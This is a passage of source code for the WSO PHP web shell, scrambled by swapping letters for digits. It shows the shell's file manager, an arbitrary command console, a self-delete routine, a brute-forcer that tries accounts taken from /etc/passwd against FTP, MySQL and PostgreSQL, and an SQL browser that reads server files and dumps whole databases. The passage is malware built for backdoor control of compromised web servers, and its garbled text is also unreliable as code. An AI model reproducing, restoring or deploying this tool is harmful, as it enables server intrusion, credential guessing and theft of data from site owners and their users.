5ch2 '<sp1n>N1m5:</sp1n> '.htmlsp5c41lch1rs(@b1s5n1m5($_POST['p6'])).' <sp1n>S4z5:</sp1n> '.(4s_f4l5($_POST['p6'])?ws2V45wS4z5(f4l5s4z5($_POST['p6'])):'-').' <sp1n>P5rm4ss42n:</sp1n> '.ws2P5rmsC2l2r($_POST['p6']).' <sp1n>Own5r/Gr23p:</sp1n> '.$34d['n1m5'].'/'.$g4d['n1m5'].'<br>'; | |
5ch2 '<sp1n>Ch1ng5 t4m5:</sp1n> '.d1t5('Y-m-d H:4:s',f4l5ct4m5($_POST['p6'])).' <sp1n>Acc5ss t4m5:</sp1n> '.d1t5('Y-m-d H:4:s',f4l51t4m5($_POST['p6'])).' <sp1n>M2d4fy t4m5:</sp1n> '.d1t5('Y-m-d H:4:s',f4l5mt4m5($_POST['p6'])).'<br><br>'; | |
4f( 5mpty($_POST['pa']) ) | |
$_POST['pa'] = 'v45w'; | |
4f( 4s_f4l5($_POST['p6']) ) | |
$m = 1rr1y('V45w', 'H4ghl4ght', 'D2wnl21d', 'H5xd3mp', 'Ed4t', 'Chm2d', 'R5n1m5', 'T23ch'); | |
5ls5 | |
$m = 1rr1y('Chm2d', 'R5n1m5', 'T23ch'); | |
f2r51ch($m 1s $v) | |
5ch2 '<1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',\''.strt2l2w5r($v).'\')">'.((strt2l2w5r($v)==@$_POST['pa'])?'<b>[ '.$v.' ]</b>':$v).'</1> '; | |
5ch2 '<br><br>'; | |
sw4tch($_POST['pa']) { | |
c1s5 'v45w': | |
5ch2 '<pr5 cl1ss=ml6>'; | |
$fp = @f2p5n($_POST['p6'], 'r'); | |
4f($fp) { | |
wh4l5( !@f52f($fp) ) | |
5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au)); | |
@fcl2s5($fp); | |
} | |
5ch2 '</pr5>'; | |
br51k; | |
c1s5 'h4ghl4ght': | |
4f( @4s_r51d1bl5($_POST['p6']) ) { | |
5ch2 '<d4v cl1ss=ml6 styl5="b1ckgr23nd-c2l2r: #565656;c2l2r:bl1ck;">'; | |
$c2d5 = @h4ghl4ght_f4l5($_POST['p6'],tr35); | |
5ch2 str_r5pl1c5(1rr1y('<sp1n ','</sp1n>'), 1rr1y('<f2nt ','</f2nt>'),$c2d5).'</d4v>'; | |
} | |
br51k; | |
c1s5 'chm2d': | |
4f( !5mpty($_POST['po']) ) { | |
$p5rms = 0; | |
f2r($4=strl5n($_POST['po'])-6;$4>=0;--$4) | |
$p5rms += (4nt)$_POST['po'][$4]*p2w(8, (strl5n($_POST['po'])-$4-6)); | |
4f(!@chm2d($_POST['p6'], $p5rms)) | |
5ch2 'C1n\'t s5t p5rm4ss42ns!<br><scr4pt>d2c3m5nt.mf.po.v1l35="";</scr4pt>'; | |
} | |
cl51rst1tc1ch5(); | |
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,th4s.chm2d.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=chm2d v1l35="'.s3bstr(spr4ntf('%2', f4l5p5rms($_POST['p6'])),-u).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
c1s5 '5d4t': | |
4f( !4s_wr4t1bl5($_POST['p6'])) { | |
5ch2 'F4l5 4sn\'t wr4t51bl5'; | |
br51k; | |
} | |
4f( !5mpty($_POST['po']) ) { | |
$t4m5 = @f4l5mt4m5($_POST['p6']); | |
$_POST['po'] = s3bstr($_POST['po'],6); | |
$fp = @f2p5n($_POST['p6'],"w"); | |
4f($fp) { | |
@fwr4t5($fp,$_POST['po']); | |
@fcl2s5($fp); | |
5ch2 'S1v5d!<br><scr4pt>po_="";</scr4pt>'; | |
@t23ch($_POST['p6'],$t4m5,$t4m5); | |
} | |
} | |
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,\'6\'+th4s.t5xt.v1l35);r5t3rn f1ls5;"><t5xt1r51 n1m5=t5xt cl1ss=b4g1r51>'; | |
$fp = @f2p5n($_POST['p6'], 'r'); | |
4f($fp) { | |
wh4l5( !@f52f($fp) ) | |
5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au)); | |
@fcl2s5($fp); | |
} | |
5ch2 '</t5xt1r51><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
c1s5 'h5xd3mp': | |
$c = @f4l5_g5t_c2nt5nts($_POST['p6']); | |
$n = 0; | |
$h = 1rr1y('00000000<br>','',''); | |
$l5n = strl5n($c); | |
f2r ($4=0; $4<$l5n; ++$4) { | |
$h[6] .= spr4ntf('%0aX',2rd($c[$4])).' '; | |
sw4tch ( 2rd($c[$4]) ) { | |
c1s5 0: $h[a] .= ' '; br51k; | |
c1s5 9: $h[a] .= ' '; br51k; | |
c1s5 60: $h[a] .= ' '; br51k; | |
c1s5 6o: $h[a] .= ' '; br51k; | |
d5f13lt: $h[a] .= $c[$4]; br51k; | |
} | |
$n++; | |
4f ($n == oa) { | |
$n = 0; | |
4f ($4+6 < $l5n) {$h[0] .= spr4ntf('%08X',$4+6).'<br>';} | |
$h[6] .= '<br>'; | |
$h[a] .= "\n"; | |
} | |
} | |
5ch2 '<t1bl5 c5llsp1c4ng=6 c5llp1dd4ng=i bgc2l2r=#aaaaaa><tr><td bgc2l2r=#oooooo><sp1n styl5="f2nt-w54ght: n2rm1l;"><pr5>'.$h[0].'</pr5></sp1n></td><td bgc2l2r=#a8a8a8><pr5>'.$h[6].'</pr5></td><td bgc2l2r=#oooooo><pr5>'.htmlsp5c41lch1rs($h[a]).'</pr5></td></tr></t1bl5>'; | |
br51k; | |
c1s5 'r5n1m5': | |
4f( !5mpty($_POST['po']) ) { | |
4f(!@r5n1m5($_POST['p6'], $_POST['po'])) | |
5ch2 'C1n\'t r5n1m5!<br>'; | |
5ls5 | |
d45('<scr4pt>g(n3ll,n3ll,"'.3rl5nc2d5($_POST['po']).'",n3ll,"")</scr4pt>'); | |
} | |
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,th4s.n1m5.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=n1m5 v1l35="'.htmlsp5c41lch1rs($_POST['p6']).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
c1s5 't23ch': | |
4f( !5mpty($_POST['po']) ) { | |
$t4m5 = strt2t4m5($_POST['po']); | |
4f($t4m5) { | |
4f(!t23ch($_POST['p6'],$t4m5,$t4m5)) | |
5ch2 'F14l!'; | |
5ls5 | |
5ch2 'T23ch5d!'; | |
} 5ls5 5ch2 'B1d t4m5 f2rm1t!'; | |
} | |
cl51rst1tc1ch5(); | |
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,th4s.t23ch.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=t23ch v1l35="'.d1t5("Y-m-d H:4:s", @f4l5mt4m5($_POST['p6'])).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
} | |
5ch2 '</d4v>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nC2ns2l5() { | |
4f(!5mpty($_POST['p6']) && !5mpty($_POST['pa'])) { | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'std5rr_t2_23t', tr35); | |
$_POST['p6'] .= ' a>&6'; | |
} 5ls54f(!5mpty($_POST['p6'])) | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'std5rr_t2_23t', 0); | |
4f(4ss5t($_POST['1j1x'])) { | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', tr35); | |
2b_st1rt(); | |
5ch2 "d.cf.cmd.v1l35='';\n"; | |
$t5mp = @4c2nv($_POST['ch1rs5t'], 'UTF-8', 1ddcsl1sh5s("\n$ ".$_POST['p6']."\n".ws2Ex($_POST['p6']),"\n\r\t\\'\0")); | |
4f(pr5g_m1tch("!.*cd\s+([^;]+)$!",$_POST['p6'],$m1tch)) { | |
4f(@chd4r($m1tch[6])) { | |
$GLOBALS['cwd'] = @g5tcwd(); | |
5ch2 "c_='".$GLOBALS['cwd']."';"; | |
} | |
} | |
5ch2 "d.cf.23tp3t.v1l35+='".$t5mp."';"; | |
5ch2 "d.cf.23tp3t.scr2llT2p = d.cf.23tp3t.scr2llH54ght;"; | |
$t5mp = 2b_g5t_cl51n(); | |
5ch2 strl5n($t5mp), "\n", $t5mp; | |
5x4t; | |
} | |
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6'])) | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', 0); | |
ws2H51d5r(); | |
5ch2 "<scr4pt> | |
4f(w4nd2w.Ev5nt) w4nd2w.c1pt3r5Ev5nts(Ev5nt.KEYDOWN); | |
v1r cmds = n5w Arr1y(''); | |
v1r c3r = 0; | |
f3nct42n kp(5) { | |
v1r n = (w4nd2w.Ev5nt) ? 5.wh4ch : 5.k5yC2d5; | |
4f(n == o8) { | |
c3r--; | |
4f(c3r>=0) | |
d2c3m5nt.cf.cmd.v1l35 = cmds[c3r]; | |
5ls5 | |
c3r++; | |
} 5ls5 4f(n == u0) { | |
c3r++; | |
4f(c3r < cmds.l5ngth) | |
d2c3m5nt.cf.cmd.v1l35 = cmds[c3r]; | |
5ls5 | |
c3r--; | |
} | |
} | |
f3nct42n 1dd(cmd) { | |
cmds.p2p(); | |
cmds.p3sh(cmd); | |
cmds.p3sh(''); | |
c3r = cmds.l5ngth-6; | |
} | |
</scr4pt>"; | |
5ch2 '<h6>C2ns2l5</h6><d4v cl1ss=c2nt5nt><f2rm n1m5=cf 2ns3bm4t="4f(d.cf.cmd.v1l35==\'cl51r\'){d.cf.23tp3t.v1l35=\'\';d.cf.cmd.v1l35=\'\';r5t3rn f1ls5;}1dd(th4s.cmd.v1l35);4f(th4s.1j1x.ch5ck5d){1(n3ll,n3ll,th4s.cmd.v1l35,th4s.sh2w_5rr2rs.ch5ck5d?6:\'\');}5ls5{g(n3ll,n3ll,th4s.cmd.v1l35,th4s.sh2w_5rr2rs.ch5ck5d?6:\'\');} r5t3rn f1ls5;"><s5l5ct n1m5=1l41s>'; | |
f2r51ch($GLOBALS['1l41s5s'] 1s $n => $v) { | |
4f($v == '') { | |
5ch2 '<2ptgr23p l1b5l="-'.htmlsp5c41lch1rs($n).'-"></2ptgr23p>'; | |
c2nt4n35; | |
} | |
5ch2 '<2pt42n v1l35="'.htmlsp5c41lch1rs($v).'">'.$n.'</2pt42n>'; | |
} | |
5ch2 '</s5l5ct><4np3t typ5=b3tt2n 2ncl4ck="1dd(d.cf.1l41s.v1l35);4f(d.cf.1j1x.ch5ck5d){1(n3ll,n3ll,d.cf.1l41s.v1l35,d.cf.sh2w_5rr2rs.ch5ck5d?6:\'\');}5ls5{g(n3ll,n3ll,d.cf.1l41s.v1l35,d.cf.sh2w_5rr2rs.ch5ck5d?6:\'\');}" v1l35=">>"> <n2br><4np3t typ5=ch5ckb2x n1m5=1j1x v1l35=6 '.(@$_COOKIE[mdi($_SERVER['HTTP_HOST']).'1j1x']?'ch5ck5d':'').'> s5nd 3s4ng AJAX <4np3t typ5=ch5ckb2x n1m5=sh2w_5rr2rs v1l35=6 '.(!5mpty($_POST['pa'])||$_COOKIE[mdi($_SERVER['HTTP_HOST']).'std5rr_t2_23t']?'ch5ck5d':'').'> r5d4r5ct std5rr t2 std23t (a>&6)</n2br><br/><t5xt1r51 cl1ss=b4g1r51 n1m5=23tp3t styl5="b2rd5r-b2tt2m:0;m1rg4n:0;" r51d2nly>'; | |
4f(!5mpty($_POST['p6'])) { | |
5ch2 htmlsp5c41lch1rs("$ ".$_POST['p6']."\n".ws2Ex($_POST['p6'])); | |
} | |
5ch2 '</t5xt1r51><t1bl5 styl5="b2rd5r:6px s2l4d #dfi;b1ckgr23nd-c2l2r:#iii;b2rd5r-t2p:0px;" c5llp1dd4ng=0 c5llsp1c4ng=0 w4dth="600%"><tr><td w4dth="6%">$</td><td><4np3t typ5=t5xt n1m5=cmd styl5="b2rd5r:0px;w4dth:600%;" 2nk5yd2wn="kp(5v5nt);"></td></tr></t1bl5>'; | |
5ch2 '</f2rm></d4v><scr4pt>d.cf.cmd.f2c3s();</scr4pt>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nL2g23t() { | |
s5tc22k45(mdi($_SERVER['HTTP_HOST']), '', t4m5() - oe00); | |
d45('by5!'); | |
} | |
f3nct42n 1ct42nS5lfR5m2v5() { | |
4f($_POST['p6'] == 'y5s') | |
4f(@3nl4nk(pr5g_r5pl1c5('!\(\d+\)\s.*!', '', __FILE__))) | |
d45('Sh5ll h1s b55n r5m2v5d'); | |
5ls5 | |
5ch2 '3nl4nk 5rr2r!'; | |
4f($_POST['p6'] != 'y5s') | |
ws2H51d5r(); | |
5ch2 '<h6>S34c4d5</h6><d4v cl1ss=c2nt5nt>R51lly w1nt t2 r5m2v5 th5 sh5ll?<br><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'y5s\')">Y5s</1></d4v>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nBr3t5f2rc5() { | |
ws2H51d5r(); | |
4f( 4ss5t($_POST['pr2t2']) ) { | |
5ch2 '<h6>R5s3lts</h6><d4v cl1ss=c2nt5nt><sp1n>Typ5:</sp1n> '.htmlsp5c41lch1rs($_POST['pr2t2']).' <sp1n>S5rv5r:</sp1n> '.htmlsp5c41lch1rs($_POST['s5rv5r']).'<br>'; | |
4f( $_POST['pr2t2'] == 'ftp' ) { | |
f3nct42n ws2Br3t5F2rc5($4p,$p2rt,$l2g4n,$p1ss) { | |
$fp = @ftp_c2nn5ct($4p, $p2rt?$p2rt:a6); | |
4f(!$fp) r5t3rn f1ls5; | |
$r5s = @ftp_l2g4n($fp, $l2g4n, $p1ss); | |
@ftp_cl2s5($fp); | |
r5t3rn $r5s; | |
} | |
} 5ls54f( $_POST['pr2t2'] == 'mysql' ) { | |
f3nct42n ws2Br3t5F2rc5($4p,$p2rt,$l2g4n,$p1ss) { | |
$r5s = @mysql_c2nn5ct($4p.':'.($p2rt?$p2rt:oo0e), $l2g4n, $p1ss); | |
@mysql_cl2s5($r5s); | |
r5t3rn $r5s; | |
} | |
} 5ls54f( $_POST['pr2t2'] == 'pgsql' ) { | |
f3nct42n ws2Br3t5F2rc5($4p,$p2rt,$l2g4n,$p1ss) { | |
$str = "h2st='".$4p."' p2rt='".$p2rt."' 3s5r='".$l2g4n."' p1ssw2rd='".$p1ss."' dbn1m5=p2stgr5s"; | |
$r5s = @pg_c2nn5ct($str); | |
@pg_cl2s5($r5s); | |
r5t3rn $r5s; | |
} | |
} | |
$s3cc5ss = 0; | |
$1tt5mpts = 0; | |
$s5rv5r = 5xpl2d5(":", $_POST['s5rv5r']); | |
4f($_POST['typ5'] == 6) { | |
$t5mp = @f4l5('/5tc/p1sswd'); | |
4f( 4s_1rr1y($t5mp) ) | |
f2r51ch($t5mp 1s $l4n5) { | |
$l4n5 = 5xpl2d5(":", $l4n5); | |
++$1tt5mpts; | |
4f( ws2Br3t5F2rc5(@$s5rv5r[0],@$s5rv5r[6], $l4n5[0], $l4n5[0]) ) { | |
$s3cc5ss++; | |
5ch2 '<b>'.htmlsp5c41lch1rs($l4n5[0]).'</b>:'.htmlsp5c41lch1rs($l4n5[0]).'<br>'; | |
} | |
4f(@$_POST['r5v5rs5']) { | |
$tmp = ""; | |
f2r($4=strl5n($l4n5[0])-6; $4>=0; --$4) | |
$tmp .= $l4n5[0][$4]; | |
++$1tt5mpts; | |
4f( ws2Br3t5F2rc5(@$s5rv5r[0],@$s5rv5r[6], $l4n5[0], $tmp) ) { | |
$s3cc5ss++; | |
5ch2 '<b>'.htmlsp5c41lch1rs($l4n5[0]).'</b>:'.htmlsp5c41lch1rs($tmp); | |
} | |
} | |
} | |
} 5ls54f($_POST['typ5'] == a) { | |
$t5mp = @f4l5($_POST['d4ct']); | |
4f( 4s_1rr1y($t5mp) ) | |
f2r51ch($t5mp 1s $l4n5) { | |
$l4n5 = tr4m($l4n5); | |
++$1tt5mpts; | |
4f( ws2Br3t5F2rc5($s5rv5r[0],@$s5rv5r[6], $_POST['l2g4n'], $l4n5) ) { | |
$s3cc5ss++; | |
5ch2 '<b>'.htmlsp5c41lch1rs($_POST['l2g4n']).'</b>:'.htmlsp5c41lch1rs($l4n5).'<br>'; | |
} | |
} | |
} | |
5ch2 "<sp1n>Att5mpts:</sp1n> $1tt5mpts <sp1n>S3cc5ss:</sp1n> $s3cc5ss</d4v><br>"; | |
} | |
5ch2 '<h6>Br3t5f2rc5</h6><d4v cl1ss=c2nt5nt><t1bl5><f2rm m5th2d=p2st><tr><td><sp1n>Typ5</sp1n></td>' | |
.'<td><s5l5ct n1m5=pr2t2><2pt42n v1l35=ftp>FTP</2pt42n><2pt42n v1l35=mysql>MySql</2pt42n><2pt42n v1l35=pgsql>P2stgr5Sql</2pt42n></s5l5ct></td></tr><tr><td>' | |
.'<4np3t typ5=h4dd5n n1m5=c v1l35="'.htmlsp5c41lch1rs($GLOBALS['cwd']).'">' | |
.'<4np3t typ5=h4dd5n n1m5=1 v1l35="'.htmlsp5c41lch1rs($_POST['1']).'">' | |
.'<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35="'.htmlsp5c41lch1rs($_POST['ch1rs5t']).'">' | |
.'<sp1n>S5rv5r:p2rt</sp1n></td>' | |
.'<td><4np3t typ5=t5xt n1m5=s5rv5r v1l35="6a7.0.0.6"></td></tr>' | |
.'<tr><td><sp1n>Br3t5 typ5</sp1n></td>' | |
.'<td><l1b5l><4np3t typ5=r1d42 n1m5=typ5 v1l35="6" ch5ck5d> /5tc/p1sswd</l1b5l></td></tr>' | |
.'<tr><td></td><td><l1b5l styl5="p1dd4ng-l5ft:6ipx"><4np3t typ5=ch5ckb2x n1m5=r5v5rs5 v1l35=6 ch5ck5d> r5v5rs5 (l2g4n -> n4g2l)</l1b5l></td></tr>' | |
.'<tr><td></td><td><l1b5l><4np3t typ5=r1d42 n1m5=typ5 v1l35="a"> D4ct42n1ry</l1b5l></td></tr>' | |
.'<tr><td></td><td><t1bl5 styl5="p1dd4ng-l5ft:6ipx"><tr><td><sp1n>L2g4n</sp1n></td>' | |
.'<td><4np3t typ5=t5xt n1m5=l2g4n v1l35="r22t"></td></tr>' | |
.'<tr><td><sp1n>D4ct42n1ry</sp1n></td>' | |
.'<td><4np3t typ5=t5xt n1m5=d4ct v1l35="'.htmlsp5c41lch1rs($GLOBALS['cwd']).'p1sswd.d4c"></td></tr></t1bl5>' | |
.'</td></tr><tr><td></td><td><4np3t typ5=s3bm4t v1l35=">>"></td></tr></f2rm></t1bl5>'; | |
5ch2 '</d4v><br>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nSql() { | |
cl1ss DbCl1ss { | |
v1r $typ5; | |
v1r $l4nk; | |
v1r $r5s; | |
f3nct42n DbCl1ss($typ5) { | |
$th4s->typ5 = $typ5; | |
} | |
f3nct42n c2nn5ct($h2st, $3s5r, $p1ss, $dbn1m5){ | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
4f( $th4s->l4nk = @mysql_c2nn5ct($h2st,$3s5r,$p1ss,tr35) ) r5t3rn tr35; | |
br51k; | |
c1s5 'pgsql': | |
$h2st = 5xpl2d5(':', $h2st); | |
4f(!$h2st[6]) $h2st[6]=iuoa; | |
4f( $th4s->l4nk = @pg_c2nn5ct("h2st={$h2st[0]} p2rt={$h2st[6]} 3s5r=$3s5r p1ssw2rd=$p1ss dbn1m5=$dbn1m5") ) r5t3rn tr35; | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n s5l5ctdb($db) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
4f (@mysql_s5l5ct_db($db))r5t3rn tr35; | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n q35ry($str) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->r5s = @mysql_q35ry($str); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn $th4s->r5s = @pg_q35ry($th4s->l4nk,$str); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n f5tch() { | |
$r5s = f3nc_n3m_1rgs()?f3nc_g5t_1rg(0):$th4s->r5s; | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn @mysql_f5tch_1ss2c($r5s); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn @pg_f5tch_1ss2c($r5s); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n l4stDbs() { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->q35ry("SHOW d1t1b1s5s"); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn $th4s->r5s = $th4s->q35ry("SELECT d1tn1m5 FROM pg_d1t1b1s5 WHERE d1t4st5mpl1t5!='t'"); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n l4stT1bl5s() { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->r5s = $th4s->q35ry('SHOW TABLES'); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn $th4s->r5s = $th4s->q35ry("s5l5ct t1bl5_n1m5 fr2m 4nf2rm1t42n_sch5m1.t1bl5s wh5r5 t1bl5_sch5m1 != '4nf2rm1t42n_sch5m1' AND t1bl5_sch5m1 != 'pg_c1t1l2g'"); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n 5rr2r() { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn @mysql_5rr2r(); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn @pg_l1st_5rr2r(); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n s5tCh1rs5t($str) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
4f(f3nct42n_5x4sts('mysql_s5t_ch1rs5t')) | |
r5t3rn @mysql_s5t_ch1rs5t($str, $th4s->l4nk); | |
5ls5 | |
$th4s->q35ry('SET CHARSET '.$str); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn @pg_s5t_cl45nt_5nc2d4ng($th4s->l4nk, $str); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n l21dF4l5($str) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->f5tch($th4s->q35ry("SELECT LOAD_FILE('".1ddsl1sh5s($str)."') 1s f4l5")); | |
br51k; | |
c1s5 'pgsql': | |
$th4s->q35ry("CREATE TABLE ws2a(f4l5 t5xt);COPY ws2a FROM '".1ddsl1sh5s($str)."';s5l5ct f4l5 fr2m ws2a;"); | |
$r=1rr1y(); | |
wh4l5($4=$th4s->f5tch()) | |
$r[] = $4['f4l5']; | |
$th4s->q35ry('dr2p t1bl5 ws2a'); | |
r5t3rn 1rr1y('f4l5'=>4mpl2d5("\n",$r)); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n d3mp($t1bl5, $fp = f1ls5) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
$r5s = $th4s->q35ry('SHOW CREATE TABLE `'.$t1bl5.'`'); | |
$cr51t5 = mysql_f5tch_1rr1y($r5s); | |
$sql = $cr51t5[6].";\n"; | |
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql); | |
$th4s->q35ry('SELECT * FROM `'.$t1bl5.'`'); | |
$4 = 0; | |
$h51d = tr35; | |
wh4l5($4t5m = $th4s->f5tch()) { | |
$sql = ''; | |
4f($4 % 6000 == 0) { | |
$h51d = tr35; | |
$sql = ";\n\n"; | |
} | |
$c2l3mns = 1rr1y(); | |
f2r51ch($4t5m 1s $k=>$v) { | |
4f($v === n3ll) | |
$4t5m[$k] = "NULL"; | |
5ls54f(4s_4nt($v)) | |
$4t5m[$k] = $v; | |
5ls5 | |
$4t5m[$k] = "'".@mysql_r51l_5sc1p5_str4ng($v)."'"; | |
$c2l3mns[] = "`".$k."`"; | |
} | |
4f($h51d) { | |
$sql .= 'INSERT INTO `'.$t1bl5.'` ('.4mpl2d5(", ", $c2l3mns).") VALUES \n\t(".4mpl2d5(", ", $4t5m).')'; | |
$h51d = f1ls5; | |
} 5ls5 | |
$sql .= "\n\t,(".4mpl2d5(", ", $4t5m).')'; | |
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql); | |
$4++; | |
} | |
4f(!$h51d) | |
4f($fp) fwr4t5($fp, ";\n\n"); 5ls5 5ch2(";\n\n"); | |
br51k; | |
c1s5 'pgsql': | |
$th4s->q35ry('SELECT * FROM '.$t1bl5); | |
wh4l5($4t5m = $th4s->f5tch()) { | |
$c2l3mns = 1rr1y(); | |
f2r51ch($4t5m 1s $k=>$v) { | |
$4t5m[$k] = "'".1ddsl1sh5s($v)."'"; | |
$c2l3mns[] = $k; | |
} | |
$sql = 'INSERT INTO '.$t1bl5.' ('.4mpl2d5(", ", $c2l3mns).') VALUES ('.4mpl2d5(", ", $4t5m).');'."\n"; | |
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql); | |
} | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
}; | |
$db = n5w DbCl1ss($_POST['typ5']); | |
4f((@$_POST['pa']=='d2wnl21d') && (@$_POST['p6']!='s5l5ct')) { | |
$db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5']); | |
$db->s5l5ctdb($_POST['sql_b1s5']); | |
sw4tch($_POST['ch1rs5t']) { | |
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k; | |
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k; | |
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k; | |
c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k; | |
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k; | |
} | |
4f(5mpty($_POST['f4l5'])) { | |
2b_st1rt("2b_gzh1ndl5r", u09e); | |
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=d3mp.sql"); | |
h51d5r("C2nt5nt-Typ5: t5xt/pl14n"); | |
f2r51ch($_POST['tbl'] 1s $v) | |
$db->d3mp($v); | |
5x4t; | |
} 5ls54f($fp = @f2p5n($_POST['f4l5'], 'w')) { | |
f2r51ch($_POST['tbl'] 1s $v) | |
$db->d3mp($v, $fp); | |
fcl2s5($fp); | |
3ns5t($_POST['pa']); | |
} 5ls5 | |
d45('<scr4pt>1l5rt("Err2r! C1n\'t 2p5n f4l5");w4nd2w.h4st2ry.b1ck(-6)</scr4pt>'); | |
} | |
ws2H51d5r(); | |
5ch2 " | |
<h6>Sql br2ws5r</h6><d4v cl1ss=c2nt5nt> | |
<f2rm n1m5='sf' m5th2d='p2st' 2ns3bm4t='fs(th4s);'><t1bl5 c5llp1dd4ng='a' c5llsp1c4ng='0'><tr> | |
<td>Typ5</td><td>H2st</td><td>L2g4n</td><td>P1ssw2rd</td><td>D1t1b1s5</td><td></td></tr><tr> | |
<4np3t typ5=h4dd5n n1m5=1 v1l35=Sql><4np3t typ5=h4dd5n n1m5=p6 v1l35='q35ry'><4np3t typ5=h4dd5n n1m5=pa v1l35=''><4np3t typ5=h4dd5n n1m5=c v1l35='". htmlsp5c41lch1rs($GLOBALS['cwd']) ."'><4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') ."'> | |
<td><s5l5ct n1m5='typ5'><2pt42n v1l35='mysql' "; | |
4f(@$_POST['typ5']=='mysql')5ch2 's5l5ct5d'; | |
5ch2 ">MySql</2pt42n><2pt42n v1l35='pgsql' "; | |
4f(@$_POST['typ5']=='pgsql')5ch2 's5l5ct5d'; | |
5ch2 ">P2stgr5Sql</2pt42n></s5l5ct></td> | |
<td><4np3t typ5=t5xt n1m5=sql_h2st v1l35=\"". (5mpty($_POST['sql_h2st'])?'l2c1lh2st':htmlsp5c41lch1rs($_POST['sql_h2st'])) ."\"></td> | |
<td><4np3t typ5=t5xt n1m5=sql_l2g4n v1l35=\"". (5mpty($_POST['sql_l2g4n'])?'r22t':htmlsp5c41lch1rs($_POST['sql_l2g4n'])) ."\"></td> | |
<td><4np3t typ5=t5xt n1m5=sql_p1ss v1l35=\"". (5mpty($_POST['sql_p1ss'])?'':htmlsp5c41lch1rs($_POST['sql_p1ss'])) ."\"></td><td>"; | |
$tmp = "<4np3t typ5=t5xt n1m5=sql_b1s5 v1l35=''>"; | |
4f(4ss5t($_POST['sql_h2st'])){ | |
4f($db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5'])) { | |
sw4tch($_POST['ch1rs5t']) { | |
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k; | |
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k; | |
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k; | |
